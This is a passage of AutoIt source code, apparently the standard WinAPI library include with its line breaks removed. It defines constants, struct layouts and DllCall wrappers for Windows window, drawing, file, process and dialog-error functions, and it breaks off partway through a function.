Global Const $ofn_filemustexist = 4096 Global Const $ofn_forceshowhidden = 268435456 Global Const $ofn_hidereadonly = 4 Global Const $ofn_longnames = 2097152 Global Const $ofn_nochangedir = 8 Global Const $ofn_nodereferencelinks = 1048576 Global Const $ofn_nolongnames = 262144 Global Const $ofn_nonetworkbutton = 131072 Global Const $ofn_noreadonlyreturn = 32768 Global Const $ofn_notestfilecreate = 65536 Global Const $ofn_novalidate = 256 Global Const $ofn_overwriteprompt = 2 Global Const $ofn_pathmustexist = 2048 Global Const $ofn_readonly = 1 Global Const $ofn_shareaware = 16384 Global Const $ofn_showhelp = 16 Global Const $ofn_ex_noplacesbar = 1 Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]" Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut" Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor" Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual" Func _winapi_attachconsole($iprocessid = -1) Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $iprocessid) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_attachthreadinput($iattach, $iattachto, $fattach) Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $fattach) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_beep($ifreq = 500, $iduration = 1000) Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop) Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam) Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam) Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lparam) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_clienttoscreen($hwnd, ByRef $tpoint) Local $ppoint = DllStructGetPtr($tpoint) DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "ptr", $ppoint) Return SetError(@error, @extended, $tpoint) EndFunc Func _winapi_closehandle($hobject) Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode) Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_commdlgextendederror() Local Const $cderr_dialogfailure = 65535 Local Const $cderr_findresfailure = 6 Local Const $cderr_initialization = 2 Local Const $cderr_loadresfailure = 7 Local Const $cderr_loadstrfailure = 5 Local Const $cderr_lockresfailure = 8 Local Const $cderr_memallocfailure = 9 Local Const $cderr_memlockfailure = 10 Local Const $cderr_nohinstance = 4 Local Const $cderr_nohook = 11 Local Const $cderr_notemplate = 3 Local Const $cderr_registermsgfail = 12 Local Const $cderr_structsize = 1 Local Const $fnerr_buffertoosmall = 12291 Local Const $fnerr_invalidfilename = 12290 Local Const $fnerr_subclassfailure = 12289 Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError") If @error Then Return SetError(@error, @extended, 0) Switch $aresult[0] Case $cderr_dialogfailure Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.") Case $cderr_findresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.") Case $cderr_initialization Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.") Case $cderr_loadresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.") Case $cderr_loadstrfailure Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.") Case $cderr_lockresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.") Case $cderr_memallocfailure Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.") Case $cderr_memlockfailure Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.") Case $cderr_nohinstance Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.") Case $cderr_nohook Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.") Case $cderr_notemplate Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.") Case $cderr_registermsgfail Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.") Case $cderr_structsize Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid") Case $fnerr_buffertoosmall Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.") Case $fnerr_invalidfilename Return SetError($aresult[0], 0, "A file name is invalid.") Case $fnerr_subclassfailure Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.") EndSwitch Return Hex($aresult[0]) EndFunc Func _winapi_copyicon($hicon) Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0) Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight) Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createcompatibledc($hdc) Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate = True, $sname = "") Local $snametype = "wstr" If $sname = "" Then $sname = 0 $snametype = "ptr" EndIf Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $sname) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0) Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0 If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute) If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read) If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write) If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete) If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read) If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write) Switch $icreation Case 0 $icd = $create_new Case 1 $icd = $create_always Case 2 $icd = $open_existing Case 3 $icd = $open_always Case 4 $icd = $truncate_existing EndSwitch If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive) If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden) If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly) If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system) Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0) If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__winapiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_precis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Arial") Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $nheight, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset, "dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch, "wstr", $szface) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfontindirect($tlogfont) Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "ptr", DllStructGetPtr($tlogfont)) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createpen($ipenstyle, $iwidth, $ncolor) Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "dword", $ncolor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess) Local $pcommand = 0 Local $sappnametype = "wstr", $sdirtype = "wstr" If $sappname = "" Then $sappnametype = "ptr" $sappname = 0 EndIf If $scommand <> "" Then Local $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]") $pcommand = DllStructGetPtr($tcommand) DllStructSetData($tcommand, "Text", $scommand) EndIf If $sdir = "" Then $sdirtype = "ptr" $sdir = 0 EndIf Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "ptr", $pcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect) Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse) Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1) Local $hdc = _winapi_getdc($hwnd) Local $hdestdc = _winapi_createcompatibledc($hdc) Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight) Local $hold = _winapi_selectobject($hdestdc, $hbitmap) Local $trect = DllStructCreate($tagrect) DllStructSetData($trect, 1, 0) DllStructSetData($trect, 2, 0) DllStructSetData($trect, 3, $iwidth) DllStructSetData($trect, 4, $iheight) If $brgb Then $icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16)) EndIf Local $hbrush = _winapi_createsolidbrush($icolor) _winapi_fillrect($hdestdc, DllStructGetPtr($trect), $hbrush) If @error Then _winapi_deleteobject($hbitmap) $hbitmap = 0 EndIf _winapi_deleteobject($hbrush) _winapi_releasedc($hwnd, $hdc) _winapi_selectobject($hdestdc, $hold) _winapi_deletedc($hdestdc) If NOT $hbitmap Then Return SetError(1, 0, 0) Return $hbitmap EndFunc Func _winapi_createsolidbrush($ncolor) Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0) If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("") Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam) Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_deletedc($hdc) Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_deleteobject($hobject) Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_destroyicon($hicon) Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_destroywindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags) Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate) Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawicon($hdc, $ix, $iy, $hicon) Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3) Local $ioptions Switch $iflags Case 1 $ioptions = $__winapiconstant_di_mask Case 2 $ioptions = $__winapiconstant_di_image Case 3 $ioptions = $__winapiconstant_di_normal Case 4 $ioptions = $__winapiconstant_di_compat Case 5 $ioptions = $__winapiconstant_di_defaultsize Case Else $ioptions = $__winapiconstant_di_nomirror EndSwitch Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2) _winapi_moveto($hdc, $ix1, $iy1) If @error Then Return SetError(@error, @extended, False) _winapi_lineto($hdc, $ix2, $iy2) If @error Then Return SetError(@error, @extended, False) Return True EndFunc Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags) Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "ptr", DllStructGetPtr($trect), "uint", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_enablewindow($hwnd, $fenable = True) Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $fenable) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_enumdisplaydevices($sdevice, $idevnum) Local $pname = 0, $iflags = 0, $adevice[5] If $sdevice <> "" Then Local $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]") $pname = DllStructGetPtr($tname) DllStructSetData($tname, "Text", $sdevice) EndIf Local $tdevice = DllStructCreate($tagdisplay_device) Local $pdevice = DllStructGetPtr($tdevice) Local $idevice = DllStructGetSize($tdevice) DllStructSetData($tdevice, "Size", $idevice) DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "ptr", $pname, "dword", $idevnum, "ptr", $pdevice, "dword", 1) If @error Then Return SetError(@error, @extended, 0) Local $in = DllStructGetData($tdevice, "Flags") If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1) If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2) If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4) If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8) If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16) If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32) $adevice[0] = True $adevice[1] = DllStructGetData($tdevice, "Name") $adevice[2] = DllStructGetData($tdevice, "String") $adevice[3] = $iflags $adevice[4] = DllStructGetData($tdevice, "ID") Return $adevice EndFunc Func _winapi_enumwindows($fvisible = True, $hwnd = Default) __winapi_enumwindowsinit() If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow() __winapi_enumwindowschild($hwnd, $fvisible) Return $__gawinlist_winapi EndFunc Func __winapi_enumwindowsadd($hwnd, $sclass = "") If $sclass = "" Then $sclass = _winapi_getclassname($hwnd) $__gawinlist_winapi[0][0] += 1 Local $icount = $__gawinlist_winapi[0][0] If $icount >= $__gawinlist_winapi[0][1] Then ReDim $__gawinlist_winapi[$icount + 64][2] $__gawinlist_winapi[0][1] += 64 EndIf $__gawinlist_winapi[$icount][0] = $hwnd $__gawinlist_winapi[$icount][1] = $sclass EndFunc Func __winapi_enumwindowschild($hwnd, $fvisible = True) $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child) While $hwnd <> 0 If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowschild($hwnd, $fvisible) __winapi_enumwindowsadd($hwnd) EndIf $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext) WEnd EndFunc Func __winapi_enumwindowsinit() ReDim $__gawinlist_winapi[64][2] $__gawinlist_winapi[0][0] = 0 $__gawinlist_winapi[0][1] = 64 EndFunc Func _winapi_enumwindowspopup() __winapi_enumwindowsinit() Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child) Local $sclass While $hwnd <> 0 If _winapi_iswindowvisible($hwnd) Then $sclass = _winapi_getclassname($hwnd) If $sclass = "#32768" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "ToolbarWindow32" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "ToolTips_Class32" Then __winapi_enumwindowsadd($hwnd) ElseIf $sclass = "BaseBar" Then __winapi_enumwindowschild($hwnd) EndIf EndIf $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext) WEnd Return $__gawinlist_winapi EndFunc Func _winapi_enumwindowstop() __winapi_enumwindowsinit() Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child) While $hwnd <> 0 If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd) $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext) WEnd Return $__gawinlist_winapi EndFunc Func _winapi_expandenvironmentstrings($sstring) Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096) If @error Then Return SetError(@error, @extended, "") Return $aresult[2] EndFunc Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons) Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "handle", $plarge, "handle", $psmall, "uint", $iicons) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_fatalappexit($smessage) DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage) If @error Then Return SetError(@error, @extended) EndFunc Func _winapi_fillrect($hdc, $ptrrect, $hbrush) Local $aresult If IsPtr($hbrush) Then $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush) Else $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "ptr", $ptrrect, "dword", $hbrush) EndIf If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_findexecutable($sfilename, $sdirectory = "") Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "") If @error Then Return SetError(@error, @extended, 0) Return SetExtended($aresult[0], $aresult[3]) EndFunc Func _winapi_findwindow($sclassname, $swindowname) Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_flashwindow($hwnd, $finvert = True) Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $finvert) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0) Local $tflash = DllStructCreate($tagflashwinfo) Local $pflash = DllStructGetPtr($tflash) Local $iflash = DllStructGetSize($tflash) Local $imode = 0 If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_caption) If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_tray) If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timer) If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timernofg) DllStructSetData($tflash, "Size", $iflash) DllStructSetData($tflash, "hWnd", $hwnd) DllStructSetData($tflash, "Flags", $imode) DllStructSetData($tflash, "Count", $icount) DllStructSetData($tflash, "Timeout", $itimeout) Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "ptr", $pflash) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_floattoint($nfloat) Local $tfloat = DllStructCreate("float") Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat)) DllStructSetData($tfloat, 1, $nfloat) Return DllStructGetData($tint, 1) EndFunc Func _winapi_flushfilebuffers($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments) Local $sbuffertype = "ptr" If IsString($pbuffer) Then $sbuffertype = "wstr" Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments) If @error Then Return SetError(@error, @extended, 0) If $sbuffertype = "wstr" Then $pbuffer = $aresult[5] Return $aresult[0] EndFunc Func _winapi_framerect($hdc, $ptrrect, $hbrush) Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_freelibrary($hmodule) Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_getancestor($hwnd, $iflags = 1) Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getasynckeystate($ikey) Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getbkmode($hdc) Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getclassname($hwnd) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096) If @error Then Return SetError(@error, @extended, False) Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_getclientheight($hwnd) Local $trect = _winapi_getclientrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top") EndFunc Func _winapi_getclientwidth($hwnd) Local $trect = _winapi_getclientrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left") EndFunc Func _winapi_getclientrect($hwnd) Local $trect = DllStructCreate($tagrect) DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "ptr", DllStructGetPtr($trect)) If @error Then Return SetError(@error, @extended, 0) Return $trect EndFunc Func _winapi_getcurrentprocess() Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentprocessid() Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentthread() Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcurrentthreadid() Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getcursorinfo() Local $tcursor = DllStructCreate($tagcursorinfo) Local $icursor = DllStructGetSize($tcursor) DllStructSetData($tcursor, "Size", $icursor) DllCall("user32.dll", "bool", "GetCursorInfo", "ptr", DllStructGetPtr($tcursor)) If @error Then Return SetError(@error, @extended, 0) Local $acursor[5] $acursor[0] = True $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0 $acursor[2] = DllStructGetData($tcursor, "hCursor") $acursor[3] = DllStructGetData($tcursor, "X") $acursor[4] = DllStructGetData($tcursor, "Y") Return $acursor EndFunc Func _winapi_getdc($hwnd) Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdesktopwindow() Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow") If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdevicecaps($hdc, $iindex) Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage) Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_getdlgctrlid($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getdlgitem($hwnd, $iitemid) Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getfocus() Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus") If @error Then Return SetError(@error, 